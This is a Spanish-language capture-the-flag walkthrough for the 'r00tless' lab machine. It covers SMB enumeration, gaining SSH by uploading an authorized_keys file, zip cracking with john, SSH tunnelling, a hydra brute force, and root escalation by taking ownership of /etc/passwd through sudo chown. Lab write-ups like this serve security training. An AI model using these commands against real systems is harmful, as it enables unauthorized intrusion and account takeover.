> For the complete documentation index, see [llms.txt](https://dise0.gitbook.io/h4cker_b00k/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dise0.gitbook.io/h4cker_b00k/ctf/ctfs/ctf-r00tless-hard.md).

# CTF r00tless Hard

URL Download CTF = <https://drive.google.com/file/d/19JeGAZUDswHKwCMeI_2qpqn6aZKDZa7V/view?usp=sharing>

### Instalación

Cuando obtenemos el `.zip` nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

```shell
unzip r00tless.zip
```

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

```shell
bash auto_run.sh r00tless.tar
```

Info:

```

██████╗ ██╗    ██╗███╗   ██╗██████╗ ██████╗ ██╗
██╔══██╗██║    ██║████╗  ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║  ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║  ██║╚═╝
██║     ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═════╝ ╚═════╝ ╚═╝

          ==                           
         @+:@ @##@                     
          @++:-----+@ @@#+:----:+#     
           #-+-----:+:---------:       
            *::-----++-----::::#       
             ::------+:--------:       
             #-+------+:-::-----#@     
              *::+=@@#++-------::@     
              @+=     @++::+#@@@#*#    
               #-@                     
                *+#++@                 
               +-:::+-@                
               :-:+:::+                
              @+::*::::                
             *::++-::*                 
          =:--:-:++ @-#                
      #*:---:--++@   @@                
      @::-:--++*                       
       @::-:++#                        
         *++*                          

 :: Plataforma de máquinas vulnerables ::
 :: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::

 █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
 █           FLAG{Pwn3d!_is_awesome!}            █
 █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█


[✔] bc ya está instalado.

[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual      
[✔] Activando máquina virtual      

[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir
```

Por lo que cuando terminemos de hackearla, le damos a `Ctrl+C` y nos eliminara la maquina para que no se queden archivos basura.

### Escaneo de puertos

```shell
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
```

```shell
nmap -sCV -p<PORTS> <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 09:58 EDT
Nmap scan report for 172.22.0.2
Host is up (0.000023s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 fa:7b:d3:96:f6:83:bb:bd:24:86:b4:a8:f6:59:c3:62 (ECDSA)
|_  256 29:49:38:ae:44:75:d8:88:2a:b6:98:55:00:bd:24:76 (ED25519)
80/tcp  open  http        Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Subir Archivo
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 02:42:AC:16:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-08-27T13:58:52
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.80 seconds
```

Vemos que hay varios puertos, por lo que probaremos a enumerar el `smb` para ver que usuarios hay en el sistema y si podemos aprovechar algo.

```shell
enum4linux <IP>
```

Info:

```
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Aug 27 10:11:56 2024

 =========================================( Target Information )=========================================

Target ........... 172.22.0.2
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 =============================( Enumerating Workgroup/Domain on 172.22.0.2 )=============================


[E] Can't find workgroup/domain



 =================================( Nbtstat Information for 172.22.0.2 )=================================

Looking up status of 172.22.0.2
No reply from 172.22.0.2

 ====================================( Session Check on 172.22.0.2 )====================================


[+] Server 172.22.0.2 allows sessions using username '', password ''


 =================================( Getting domain SID for 172.22.0.2 )=================================

Domain Name: WORKGROUP
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup


 ====================================( OS information on 172.22.0.2 )====================================


[E] Can't get OS info with smbclient


[+] Got OS info for 172.22.0.2 from srvinfo: 
	7B49AC00696D   Wk Sv PrQ Unx NT SNT 7b49ac00696d server (Samba, Ubuntu)
	platform_id     :	500
	os version      :	6.1
	server type     :	0x809a03


 ========================================( Users on 172.22.0.2 )========================================

index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: sambauser	Name: sambauser	Desc: 

user:[sambauser] rid:[0x3e8]

 ==================================( Share Enumeration on 172.22.0.2 )==================================

smbXcli_negprot_smb1_done: No compatible protocol selected by server.

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	read_only_share Disk      
	IPC$            IPC       IPC Service (7b49ac00696d server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 172.22.0.2 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 172.22.0.2

//172.22.0.2/print$	Mapping: DENIED Listing: N/A Writing: N/A
//172.22.0.2/read_only_share	Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:

NT_STATUS_CONNECTION_REFUSED listing \*
//172.22.0.2/IPC$	Mapping: N/A Listing: N/A Writing: N/A

 =============================( Password Policy Information for 172.22.0.2 )=============================



[+] Attaching to 172.22.0.2 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

	[+] 7B49AC00696D
	[+] Builtin

[+] Password Info for Domain: 7B49AC00696D

	[+] Minimum password length: 5
	[+] Password history length: None
	[+] Maximum password age: 37 days 6 hours 21 minutes 
	[+] Password Complexity Flags: 000000

		[+] Domain Refuse Password Change: 0
		[+] Domain Password Store Cleartext: 0
		[+] Domain Password Lockout Admins: 0
		[+] Domain Password No Clear Change: 0
		[+] Domain Password No Anon Change: 0
		[+] Domain Password Complex: 0

	[+] Minimum password age: None
	[+] Reset Account Lockout Counter: 30 minutes 
	[+] Locked Account Duration: 30 minutes 
	[+] Account Lockout Threshold: None
	[+] Forced Log off Time: 37 days 6 hours 21 minutes 



[+] Retieved partial password policy with rpcclient:


Password Complexity: Disabled
Minimum Password Length: 5


 ========================================( Groups on 172.22.0.2 )========================================


[+] Getting builtin groups:


[+]  Getting builtin group memberships:


[+]  Getting local groups:


[+]  Getting local group memberships:


[+]  Getting domain groups:


[+]  Getting domain group memberships:


 ===================( Users on 172.22.0.2 via RID cycling (RIDS: 500-550,1000-1050) )===================


[I] Found new SID: 
S-1-22-1

[I] Found new SID: 
S-1-5-32

[I] Found new SID: 
S-1-5-32

[I] Found new SID: 
S-1-5-32

[I] Found new SID: 
S-1-5-32

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\root-false (Local User)
S-1-22-1-1001 Unix User\sambauser (Local User)
S-1-22-1-1002 Unix User\less (Local User)
S-1-22-1-1003 Unix User\passsamba (Local User)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-5-21-2263886039-4032163646-1459889052 and logon username '', password ''

S-1-5-21-2263886039-4032163646-1459889052-501 7B49AC00696D\nobody (Local User)
S-1-5-21-2263886039-4032163646-1459889052-513 7B49AC00696D\None (Domain Group)
S-1-5-21-2263886039-4032163646-1459889052-1000 7B49AC00696D\sambauser (Local User)

 ================================( Getting printer info for 172.22.0.2 )================================

No printers returned.


enum4linux complete on Tue Aug 27 10:12:41 2024
```

No vemos que podamos hacer nada, ya que el usuario `sambauser` necesita contarseña, pero vemos otro llamado `passsamba` que de momento poco podemos hacer.

Por lo que iremos a la pagina que esta en el apache2.

Vemos que podemos subir archivos, pero no podemos hacer `reverse shell` ni nada parecido, por lo que haremos fuzzing a ver que encontramos.

## Gobuster

```shell
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k -r
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.22.0.2/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,html,php
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 275]
/.htpasswd.txt        (Status: 403) [Size: 275]
/.htaccess.html       (Status: 403) [Size: 275]
/.htaccess.php        (Status: 403) [Size: 275]
/.htaccess.txt        (Status: 403) [Size: 275]
/.htaccess            (Status: 403) [Size: 275]
/.htpasswd.php        (Status: 403) [Size: 275]
/.htpasswd.html       (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 2410]
/readme.txt           (Status: 200) [Size: 78]
/server-status        (Status: 403) [Size: 275]
/upload.php           (Status: 200) [Size: 56]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Vemos que hay un `/readme.txt`, si leemos el `.txt` veremos lo siguiente.

```
It may be that the file that is being uploaded is being uploaded in a .ssh/?
```

Por lo que si lo que se sube, se sube a la carpeta de `.ssh/` podremos hacer lo siguiente.

## Subir clave publica (id\_rsa.pub y authorized\_keys)

Copiaremos nuestra `id_rsa.pub` a nuestro directorio actual.

Si no tenemos una `Clave privada y publica` haremos lo siguiente.

```shell
ssh-keygen -t rsa -b 4096
```

Una vez creadas las claves, haremos lo siguiente.

```shell
cp ~/.ssh/id_rsa.pub .
```

Ahora creamos el archivo `authorized_keys` con el contenido del `id_rsa.pub`.

```shell
cat id_rsa.pub > authorized_keys
```

Una vez teniendo los archivos, subiremos esos dos archivos mediante la pagina.

Una vez seleccionados los 2 archivos y subidos correctamente (Tendra que ponerte este mensaje en la pagina...)

```
Tipo MIME detectado: text/plain
Nombre del archivo subido: id_rsa.pub
Archivo subido correctamente.

Tipo MIME detectado: text/plain
Nombre del archivo subido: authorized_keys
Archivo subido correctamente.
```

## SSH con id\_rsa

Nos conectaremos mediante `ssh` con nuestra `id_rsa` privada y poniendo el usuario que vimos anteriormente en le `enum4linux` de la siguiente forma (En tal caso de que no supieras el usuario seria ir probando hasta que te dejara entrar con uno de ellos).

```shell
ssh -i ~/.ssh/id_rsa passsamba@<IP>
```

Una vez hecho esto ya estariamos dentro veremos un archivo llamado `note.txt` que dice lo siguiente.

```
What would "sambaarribasiempre" be used for?
```

Vemos que es una posible contraseña del usuario `sambauser` en el puerto de `smb`.

## Escalate user root-false

### SMB

Nos conectaremos con el recurso compartido que vimos anteriormente y el usuario llamado `sambauser`.

```shell
smbclient //<IP>/read_only_share -U sambauser
```

Metemos la contraseña `sambaarribasiempre` y veremos que estamos dentro, si listamos veremos lo siguiente.

```
.                                   D        0  Tue Aug 27 05:21:22 2024
  ..                                  D        0  Tue Aug 27 05:21:22 2024
  secret.zip                          N      242  Tue Aug 27 05:21:14 2024
```

Hay un archivo `.zip` que nos descargaremos.

```shell
get secret.zip
```

Una vez descargado, nos saldremos del `smb` y lo intentaremos descomprimir, pero veremos que necesita contraseña, por lo que haremos lo siguiente.

### zip2john

```shell
zip2john secret.zip > hash
```

```shell
john --wordlist=<WORDLIST> hash
```

Info:

```
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwert            (secret.zip/secret.txt)     
1g 0:00:00:00 DONE (2024-08-27 10:22) 33.33g/s 1092Kp/s 1092Kc/s 1092KC/s 123456..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

Una vez teniendo la contraseña, ahora si lo descomprimiremos.

### unzip

```shell
unzip secret.zip
```

Metemos la contraseña `qwert`.

Vemos que se nos descomprimio un archivo llamado `secret.txt` que su contenido es el siguiente.

```
root-false:cGFzc3dvcmRiYWRzZWN1cmV1bHRyYQ==
```

Si decodificamos ese `Base64` veremos que la contraseña del usuario `root-false` es.

```
passwordbadsecureultra
```

Por lo que nos conectaremos mediante `ssh`.

### SSH root-false

```shell
ssh root-false@<IP>
```

Metemos la contraseña obtenida y ya estaremos dentro, veremos un archico llamado `message.txt` que pondra lo siguiente.

```
Mario, remember this word, then the boss will get angry:

"pinguinodemarioelmejor"
```

Pero de momento no podremos hacer mucho con ello.

## Escalate user less

Si vemos las IP's que tenemos con el siguiente comando.

```shell
ip a
```

Info:

```
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
21: eth0@if22: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:16:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.22.0.2/16 brd 172.22.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet 10.10.11.5/24 scope global eth0
       valid_lft forever preferred_lft forever
```

Vemos que hay otra IP a parte de la principal, por lo que la podremos tunelizar hacia nuestro host, igualmente, si vemos los puertos que estan corriendo con `netstat` veremos que hay un puerto `80` en la IP `10.10.11.5` corriendo, por lo que podremos hacer lo siguiente sabiendo eso.

## Tunelizar puerto 80 de la IP secundaria

Tunelizaremos la IP secuandaria con el puerto `80` a nuestro host en el puerto `8080`.

```shell
ssh -L 8080:10.10.11.5:80 root-false@<IP>
```

Una vez hecho esto y metida la contraseña, podremos meternos en la pagina web que esta corriendo en esa IP de la siguiente forma.

```shell
http://localhost:8080/
```

Y veremos un login, si recordamos antes vimos un archivo `.txt` que mencionaba a un usuario llamado `mario` y una posible contraseña.

```
User = mario
Pass = pinguinodemarioelmejor
```

Si metemos esas credenciales, veremos que nos hemos logueado, dentro de esa especie de panel, si inspeccionamos el codigo, a la derecha del todo, vemos un mensaje que dice lo siguiente.

```html
<!--ultramegatextosecret.txt-->
```

Por lo que vemos puede ser una parte de la ruta de la URL, pondremos lo siguiente.

```
URL = http://localhost:8080/ultramegatextosecret.txt
```

Y veremos lo siguiente.

```
En el reino de los hongos, se encontraba un lugar mÃ¡gico y poco conocido: el Bosque de Nieve Eterna. Este bosque estaba cubierto de un manto blanco y brillante todo el aÃ±o, y albergaba muchas criaturas fantÃ¡sticas y secretos ocultos. Entre ellos, habÃ­a una leyenda que hablaba de un pingÃ¼ino muy especial que guardaba un gran secreto.

El pingÃ¼ino en cuestiÃ³n no era un pingÃ¼ino comÃºn. Se llamaba Pinguino y era el guardiÃ¡n de un antiguo artefacto mÃ¡gico conocido como el Cristal de la Aurora. SegÃºn la leyenda, el Cristal tenÃ­a el poder de controlar el clima y podÃ­a traer tanto la eterna primavera como un invierno sin fin, dependiendo de la voluntad de su portador.

Una tarde, mientras Mario exploraba el Bosque de Nieve Eterna, llegÃ³ a un claro donde vio a Pinguino deslizarse alegremente por una pista de hielo. Mario, siempre curioso, se acercÃ³ al pingÃ¼ino y le preguntÃ³ sobre el cristal.

Pinguino, con una mirada sabia en sus ojos, le dijo a Mario que el Cristal de la Aurora estaba escondido en una cueva secreta bajo el lago helado del bosque. Sin embargo, solo el corazÃ³n puro y valiente de un verdadero hÃ©roe podrÃ­a encontrarlo. La entrada a la cueva estaba oculta por una mÃ¡gica capa de hielo que solo se derretÃ­a cuando alguien con buenas intenciones realizaba un acto de bondad.

Mario decidiÃ³ aceptar el desafÃ­o. Durante su travesÃ­a, ayudÃ³ a los habitantes del bosque: rescatÃ³ a un grupo de conejos atrapados en una tormenta de nieve, reparÃ³ una antigua fuente que habÃ­a sido daÃ±ada por un deshielo imprevisto y, sobre todo, demostrÃ³ su valentÃ­a enfrentando a una banda de Koopa Troopas que habÃ­an estado causando estragos en la regiÃ³n.

Al realizar estos actos de bondad, el hielo sobre el lago comenzÃ³ a derretirse, revelando una entrada oculta en la cueva. Mario entrÃ³ con cuidado y, con la guÃ­a de Pinguino, encontrÃ³ el Cristal de la Aurora brillando en su pedestal.

El pingÃ¼ino le explicÃ³ que el cristal no solo tenÃ­a el poder de controlar el clima, sino que tambiÃ©n representaba el equilibrio y la armonÃ­a entre las estaciones. Mario comprendiÃ³ que era esencial mantener ese equilibrio para el bienestar de todo el reino.

Con el Cristal_de_la_Aurora a salvo, Mario y Pinguino regresaron al claro del bosque. El pingÃ¼ino le agradeciÃ³ a Mario por su valentÃ­a y bondad, y le dijo que siempre podrÃ­a contar con el bosque para cualquier futuro desafÃ­o.

Desde ese dÃ­a, Mario visitÃ³ el Bosque de Nieve Eterna cada vez que necesitaba un consejo sabio, y la leyenda del pingÃ¼ino guardiÃ¡n del cristal se convirtiÃ³ en una historia popular en el Reino de los Hongos, recordando a todos que la bondad y la valentÃ­a siempre encuentran su recompensa.

by less
```

Vemos un texto bastante largo, por lo que alguna de estas palabras podria contener la contraseña del usuario `less`, nos crearemos un script en `python3` para crear un diccionario con todas estas palabras y asi tirarle un `hydra`.

### script python3

> generate\_dic.py

```python
import re
 
 # Texto proporcionado (puedes reemplazar este bloque con el tuyo)
 texto = """
 En el reino de los hongos, se encontraba un lugar mÃ¡gico y poco conocido: el Bosque de Nieve Eterna. Este bosque estaba cubierto de un manto blanco y brillante todo el aÃ±o, 
 y albergaba muchas criaturas fantÃ¡sticas y secretos ocultos. Entre ellos, habÃ­a una leyenda que hablaba de un pingÃ¼ino muy especial que guardaba un gran secreto.
 
 El pingÃ¼ino en cuestiÃ³n no era un pingÃ¼ino comÃºn. Se llamaba Pinguino y era el guardiÃ¡n de un antiguo artefacto mÃ¡gico conocido como el Cristal de la Aurora. SegÃºn la l
 eyenda, el Cristal tenÃ­a el poder de controlar el clima y podÃ­a traer tanto la eterna primavera como un invierno sin fin, dependiendo de la voluntad de su portador.

 Una tarde, mientras Mario exploraba el Bosque de Nieve Eterna, llegÃ³ a un claro donde vio a Pinguino deslizarse alegremente por una pista de hielo. Mario, siempre curioso, se
  acercÃ³ al pingÃ¼ino y le preguntÃ³ sobre el cristal.
 
 Pinguino, con una mirada sabia en sus ojos, le dijo a Mario que el Cristal de la Aurora estaba escondido en una cueva secreta bajo el lago helado del bosque. Sin embargo, solo
  el corazÃ³n puro y valiente de un verdadero hÃ©roe podrÃ­a encontrarlo. La entrada a la cueva estaba oculta por una mÃ¡gica capa de hielo que solo se derretÃ­a cuando alguien
  con buenas intenciones realizaba un acto de bondad.

 Mario decidiÃ³ aceptar el desafÃ­o. Durante su travesÃ­a, ayudÃ³ a los habitantes del bosque: rescatÃ³ a un grupo de conejos atrapados en una tormenta de nieve, reparÃ³ una an
 tigua fuente que habÃ­a sido daÃ±ada por un deshielo imprevisto y, sobre todo, demostrÃ³ su valentÃ­a enfrentando a una banda de Koopa Troopas que habÃ­an estado causando estr
 agos en la regiÃ³n.
 
 Al realizar estos actos de bondad, el hielo sobre el lago comenzÃ³ a derretirse, revelando una entrada oculta en la cueva. Mario entrÃ³ con cuidado y, con la guÃ­a de Pinguino
 , encontrÃ³ el Cristal de la Aurora brillando en su pedestal.
 
 El pingÃ¼ino le explicÃ³ que el cristal no solo tenÃ­a el poder de controlar el clima, sino que tambiÃ©n representaba el equilibrio y la armonÃ­a entre las estaciones. Mario c
 omprendiÃ³ que era esencial mantener ese equilibrio para el bienestar de todo el reino.
 
 Con el Cristal_de_la_Aurora a salvo, Mario y Pinguino regresaron al claro del bosque. El pingÃ¼ino le agradeciÃ³ a Mario por su valentÃ­a y bondad, y le dijo que siempre podrÃ
 ­a contar con el bosque para cualquier futuro desafÃ­o.
 
 Desde ese dÃ­a, Mario visitÃ³ el Bosque de Nieve Eterna cada vez que necesitaba un consejo sabio, y la leyenda del pingÃ¼ino guardiÃ¡n del cristal se convirtiÃ³ en una histori
 a popular en el Reino de los Hongos, recordando a todos que la bondad y la valentÃ­a siempre encuentran su recompensa.
 
 by less
 """
 
 # Normalizar el texto eliminando signos de puntuación, pero conservando guiones bajos y mayúsculas
 texto = re.sub(r'[^\w\s_]', '', texto)  # Eliminar signos de puntuación excepto guiones bajos
 
 # Dividir el texto en palabras
 palabras = texto.split()
 
 # Obtener las palabras únicas
 palabras_unicas = set(palabras)
 
 # Imprimir las palabras únicas
 for palabra in sorted(palabras_unicas):
     print(palabra)
```

```shell
chmod +x generate_dic.py
```

Y lo ejecutamos.

```shell
python3 generate_dic.py > dic.txt
```

Y ahora con ese diccionario, tiramos un `hydra`.

### hydra

```shell
hydra -l less -P dic.txt ssh://<IP> -t 64
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-27 10:54:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 223 login tries (l:1/p:223), ~4 tries per task
[DATA] attacking ssh://172.23.0.2:22/
[22][ssh] host: 172.23.0.2   login: less   password: Cristal_de_la_Aurora
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 20 final worker threads did not complete until end.
[ERROR] 20 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-27 10:54:13
```

Vemos que sacamos las credenciales de `less`, por lo que haremos lo siguiente.

## SSH user less

```shell
ssh less@<IP>
```

Metemos la contraseña obtenida y ya estariamos dentro, por lo que leeremos la flag.

> user.txt

```
381484fa9a5dfc3f62f0883a1297700c
```

## Escalate Privileges

Si hacemos `sudo -l` veremos lo siguiente.

```
Matching Defaults entries for less on be541860503e:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User less may run the following commands on be541860503e:
    (ALL : ALL) NOPASSWD: /bin/chown
```

Vemos que podemos ejecutar como `root` el binario `chown` por lo que haremos lo siguiente.

```shell
sudo chown less:less /etc/passwd
```

Ahora en nuestro host generamos una contraseña para implementarle a `root` en el archivo `passwd` de la siguiente forma.

```shell
openssl passwd -6 '1234'
```

Info:

```
$6$/6tlJOl0i8/AdQok$IFeQVcqfzNLsWPiv7Q14tXtEi2uKehCNSKO8AagiKPqFU7lx2hDgwFs02OxGTXScpB7jRQMqs9zagrmNk19s6.
```

Ese texto generado, lo tendremos que sustituir por la `x` donde esta el usuario `root` de la siguiente forma.

```shell
nano /etc/passwd
```

De estar asi:

```
root:x:0:0:root:/root:/bin/bash
```

Ha estar asi:

```
root:$6$/6tlJOl0i8/AdQok$IFeQVcqfzNLsWPiv7Q14tXtEi2uKehCNSKO8AagiKPqFU7lx2hDgwFs02OxGTXScpB7jRQMqs9zagrmNk19s6.:0:0:root:/root:/bin/bash
```

Guardamos el archivo y ahora haremos lo siguiente.

```shell
su root
```

Ponemos la contraseña que generamos en mi caso `1234` y ya seremos `root` por lo que leeremos la flag.

> root.txt

```
ba10787e7f3a49c890439a44515da649
```
